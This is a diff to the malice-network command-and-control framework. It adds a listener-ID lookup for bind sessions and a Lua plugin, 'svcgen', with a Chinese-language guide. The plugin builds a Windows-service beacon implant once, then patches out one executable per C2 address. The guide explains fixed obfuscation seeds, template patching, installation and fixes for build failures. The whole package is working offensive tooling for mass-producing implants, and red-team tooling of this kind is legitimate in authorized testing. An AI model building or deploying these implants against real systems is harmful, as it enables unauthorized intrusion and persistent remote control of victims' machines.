diff --git a/client/command/sessions/new.go b/client/command/sessions/new.go index 0ce99b41..235f9d8c 100644 --- a/client/command/sessions/new.go +++ b/client/command/sessions/new.go @@ -5,6 +5,7 @@ import ( "github.com/chainreactors/IoM-go/consts" "github.com/chainreactors/IoM-go/proto/client/clientpb" "github.com/chainreactors/IoM-go/proto/implant/implantpb" + "github.com/chainreactors/malice-network/client/command/common" "github.com/chainreactors/malice-network/client/core" "github.com/chainreactors/malice-network/helper/cryptography" "github.com/chainreactors/malice-network/helper/encoders" @@ -31,6 +32,7 @@ func NewBindSession(con *core.Console, PipelineID string, target string, name st sid := hash.Md5Hash(rid) _, err := con.Rpc.Register(con.Context(), &clientpb.RegisterSession{ PipelineId: PipelineID, + ListenerId: resolvePipelineListenerID(con, PipelineID), RawId: encoders.BytesToUint32(rid), SessionId: sid, Target: target, @@ -56,6 +58,26 @@ func NewBindSession(con *core.Console, PipelineID string, target string, name st return sess, nil } +// resolvePipelineListenerID looks up the listener that owns the given pipeline +// from the client's pipeline cache. Bind sessions must carry the listener id in +// RegisterSession, otherwise the server cannot route the init spite through the +// listener's stream (loadPipelineStreamForSession requires listenerID+pipelineID +// to match the key under which the listener registered its stream). +// Returns "" when the pipeline is not cached; the server then falls back to its +// legacy lookup behaviour. +func resolvePipelineListenerID(con *core.Console, pipelineID string) string { + if pipelineID == "" { + return "" + } + pipe, err := common.FindCachedPipeline(con, pipelineID, func(candidate *clientpb.Pipeline) bool { + return candidate.GetName() == pipelineID + }) + if err != nil || pipe == nil { + return "" + } + return pipe.GetListenerId() +} + func RegisterNewSessionFunc(con *core.Console) { con.RegisterServerFunc("new_bind_session", NewBindSession, &mals.Helper{ Short: "new bind session", diff --git a/svcgen/main.lua b/svcgen/main.lua new file mode 100644 index 00000000..28988547 --- /dev/null +++ b/svcgen/main.lua @@ -0,0 +1,144 @@ +-- svcgen: 一键生成 Windows 服务 implant 及多 IP 变体 +-- build(docker) -> poll -> download -> 按 IP 列表 patch 构建(不重编译) +-- 前置: 服务端 templates 目录已部署带固定 obf_seed 的模板 exe + +local rpc = require("rpc") + +local function sleep(s) + local t = os.clock() + s + while os.clock() < t do end +end + +local function read_file(path) + local f, err = io.open(path, "rb") + if not f then error("read failed: " .. path .. " " .. tostring(err)) end + local data = f:read("*a") + f:close() + return data +end + +-- protobuf []byte 字段在 Lua 里是 userdata, 分块直接写文件 +local function write_bytes(path, b) + local f, err = io.open(path, "wb") + if not f then error("write failed: " .. path .. " " .. tostring(err)) end + if type(b) == "string" then + f:write(b) + else + local n = #b + local i = 1 + while i <= n do + local j = math.min(i + 255, n) + local t = {} + for k = i, j do t[#t+1] = string.char(b[k]) end + f:write(table.concat(t)) + i = j + 1 + end + end + f:close() +end + +local function artifact_status(ctx, name) + local arts = rpc.ListArtifact(ctx, ProtobufMessage.New("clientpb.Empty", {})) + local n = #arts.Artifacts + for i = 1, n do + local a = arts.Artifacts[i] + if a.Name == name then return a.Status end + end + return "missing" +end + +local function wait_artifact(ctx, name, timeout_s) + local deadline = os.time() + timeout_s + while true do + local st = artifact_status(ctx, name) + if st == "completed" then return end + if st == "failure" or st == "missing" then + error("artifact " .. name .. " status=" .. st) + end + if os.time() > deadline then + error("artifact " .. name .. " timeout") + end + sleep(5) + end +end + +local function retarget_yaml(yaml_text, addr) + local host = addr:match("^(.-):") + local out = yaml_text:gsub("(%- address: )[^%s]+", "%1" .. addr) + out = out:gsub("(sni: )[^%s]+", "%1" .. host) + return out +end + +local function run_svcgen(flag_yaml, flag_out, flag_ips) + if flag_yaml == "" or flag_out == "" or flag_ips == "" then + print("usage: svcgen --src --dst --addrs ip1:port,ip2:port") + return + end + + local ips = {} + for ip in string.gmatch(flag_ips, "([^,]+)") do ips[#ips+1] = ip end + + local ctx = active():Context() + local yaml_text = read_file(flag_yaml) + + -- 1. 全量构建 base exe + local artifact = rpc.Build(ctx, ProtobufMessage.New("clientpb.BuildConfig", { + BuildType = "beacon", + Target = "x86_64-pc-windows-gnu", + Source = "docker", + MaleficConfig = yaml_text, + })) + print("[*] build started: " .. artifact.Name) + wait_artifact(ctx, artifact.Name, 1200) + print("[+] build completed: " .. artifact.Name) + + -- 2. 下载 base exe + os.execute("mkdir -p " .. flag_out) + local full = rpc.DownloadArtifact(ctx, ProtobufMessage.New("clientpb.Artifact", { + Name = artifact.Name, + Format = "", + })) + local base_exe = flag_out .. "/base.exe" + write_bytes(base_exe, full.Bin) + print("[+] base exe: " .. base_exe) + + -- 3. 逐 IP patch 构建(服务端模板, 秒级) + for _, addr in ipairs(ips) do + local variant_yaml = retarget_yaml(yaml_text, addr) + local out_name = "svc_beacon_" .. addr:gsub("[:.]", "_") .. ".exe" + local part = rpc.Build(ctx, ProtobufMessage.New("clientpb.BuildConfig", { + BuildType = "beacon", + Target = "x86_64-pc-windows-gnu", + Source = "patch", + MaleficConfig = variant_yaml, + })) + wait_artifact(ctx, part.Name, 120) + local pfull = rpc.DownloadArtifact(ctx, ProtobufMessage.New("clientpb.Artifact", { + Name = part.Name, + Format = "", + })) + write_bytes(flag_out .. "/" .. out_name, pfull.Bin) + print("[+] " .. addr .. " -> " .. flag_out .. "/" .. out_name) + end + + print("[*] all done") +end + +local cmd = command("svcgen", run_svcgen, "build windows-service beacon and patch IP variants", "") +cmd:Flags():String("src", "", "path to base implant.yaml (needs fixed obf_seed)") +cmd:Flags():String("dst", "", "output directory") +cmd:Flags():String("addrs", "", "comma-separated C2 addresses, e.g. 1.2.3.4:5001,5.6.7.8:5001") + +help("svcgen", [[ +Build a Windows-service beacon once, then patch out one exe per C2 address. + +**Usage:** + +``` +svcgen --src /path/implant.yaml --dst /path/out --addrs 1.2.3.4:5001,5.6.7.8:5001 +``` + +> Requires: an active session (only borrows its RPC context); +> server templates dir must contain a windows_service template exe +> built with a fixed obf_seed. +]]) diff --git a/svcgen/mal.yaml b/svcgen/mal.yaml new file mode 100644 index 00000000..dd7e5aed --- /dev/null +++ b/svcgen/mal.yaml @@ -0,0 +1,8 @@ +name: svcgen +type: lua +author: kimi +version: 1.0.0 +entry: main.lua +lib: false +depend_modules: [] +depend_armory: [] diff --git a/svcgen/svcgen-guide.md b/svcgen/svcgen-guide.md new file mode 100644 index 00000000..6b70ff3e --- /dev/null +++ b/svcgen/svcgen-guide.md @@ -0,0 +1,88 @@ +# svcgen 使用与部署指南 + +svcgen 是一个 IoM mal(Lua)插件,把"构建一次 → 按 C2 地址批量 patch"的 implant 生成流程固化为一条客户端命令。当前用于生成 Windows 服务版 beacon,每个 C2 地址产出一个 exe,换 IP 不用重新编译。 + +日期:2026-07-27 + +## 一、命令用法 + +``` +svcgen --src <基础implant.yaml> --dst <输出目录> --addrs ip1:port,ip2:port --wait +``` + +示例: + +``` +svcgen --src /home/kali/Desktop/iom/implant-svc.yaml --dst /home/kali/Desktop/iom/out --addrs 192.168.59.141:5001,10.10.10.10:5001 --wait +``` + +**参数** + +| 参数 | 说明 | +|------|------| +| `--src` | 基础 implant.yaml 路径(client 侧绝对路径),决定编译期特性(windows_service、模块等)与固定 `obf_seed` | +| `--dst` | 输出目录(client 侧),不存在会自动创建 | +| `--addrs` | 逗号分隔的 C2 地址列表(tcp+tls 协议,与 targets 配置一致) | +| `--wait` | 全局 flag,阻塞等待完成(建议带上) | + +**产物** + +- `/base.exe` — docker 全量编译的基础 beacon +- `/svc_beacon_.exe` — 每个地址一个变体(服务端模板 patch,秒级) + +**执行流程**(插件内部) + +1. `rpc.Build`(Source=docker)全量编译 base exe(约 30-60 秒),轮询 `rpc.ListArtifact` 直到完成 +2. `rpc.DownloadArtifact` 下载 base.exe +3. 对每个地址:sed 改写 yaml 的 `targets.address` 与 `tls.sni` → `rpc.Build`(Source=patch,模板 patch,约 1 秒)→ 下载 + +通过 MCP 触发:`execute_command("svcgen --src ... --dst ... --addrs ... --wait")`;需要一个 active session(仅借用其 RPC context,对目标无操作)。 + +## 二、部署方式 + +### 1. 前置条件(一次性) + +| 依赖 | 说明 | 检查方式 | +|------|------|----------| +| 新版 malefic-mutant | 服务端 `.malice/bin/malefic-mutant` 必须支持 `tool patch -i ... --from-implant`(旧版只有 `--file/--server-address`,不兼容)。注意 **server 重启会还原该二进制**,需要重新替换 | `.malice/bin/malefic-mutant tool patch --help` 看到有 `--from-implant` | +| patch 模板 | 服务端 `/templates/` 下放带**固定 obf_seed** 的模板 exe,命名 `malefic--[.exe]`,如 `malefic-tcp_tls-x86_64-pc-windows-gnu.exe`。建议同时放 `malefic-http_tls-...` 别名(服务端 DetectTransport 会被 yaml 中 pulse 段的 `http:` 误判) | `ls iommcp/server/.malice/templates/` | +| 基础 yaml | 含固定 `obf_seed`(patch 靠它派生 prefix 定位配置槽;随机 seed 的产物无法 patch)。当前用 `/home/kali/Desktop/iom/implant-svc.yaml`(含 `windows_service: true`,seed `15229217100126305078`) | yaml 里 `basic.obf_seed` 非空 | + +### 2. 安装插件 + +```bash +# 插件源在 svcgen/(mal.yaml + main.lua),也可用 svcgen-20260727.tar.gz 解开 +cp -r svcgen /root/.config/malice/mals/svcgen +``` + +客户端控制台(或 MCP execute_command): + +``` +mal load svcgen +# 成功输出: Loaded lua plugin: svcgen, register 1 commands +``` + +### 3. 更新插件 + +``` +mal remove svcgen +# 覆盖 main.lua 后 +mal load svcgen +``` + +## 三、常见问题 + +| 现象 | 原因 | 处理 | +|------|------|------| +| `mutant tool failed: unexpected argument '-i'` | 服务端 mutant 是旧版 | 用服务端源码重编 release 版替换 `.malice/bin/malefic-mutant`(备份旧版) | +| `implant.yaml is missing basic.obf_seed` | yaml 没带固定 seed | 在 `basic:` 下加 `obf_seed: <固定整数>`,并用它重新构建一次基础 exe | +| patch 报 `template not found for transport=http_tls` | yaml 中 pulse 段的 `http:` 让传输类型误判 | templates 目录补一个 `malefic-http_tls-.exe`(可与 tcp_tls 同文件) | +| `prefix+seed pattern not found in binary` | 被 patch 的二进制不是用该 seed 构建的 | 模板 exe 必须是用带固定 seed 的 yaml 构建的那个 | +| 生成的 exe 在 Win7 弹缺失 DLL | 旧产物依赖 `RoOriginateErrorW` | 构建端 `.cargo/config.toml` 的 windows-gnu rustflags 加 `"--cfg=windows_slim_errors"`(已在 source_code 与 implant-master 配置) | + +## 四、相关文件 + +- 插件源:`svcgen/`(`mal.yaml`、`main.lua`) +- 归档:`svcgen-20260727.tar.gz`(含插件、gen.lua、auto_gen.sh、implant-svc.yaml) +- 默认配置:`implant-svc.yaml` +- MCP 备用路径:`gen.lua`(execute_lua 直接驱动全流程)、`auto_gen.sh`(shell 封装 iom_mcp.py)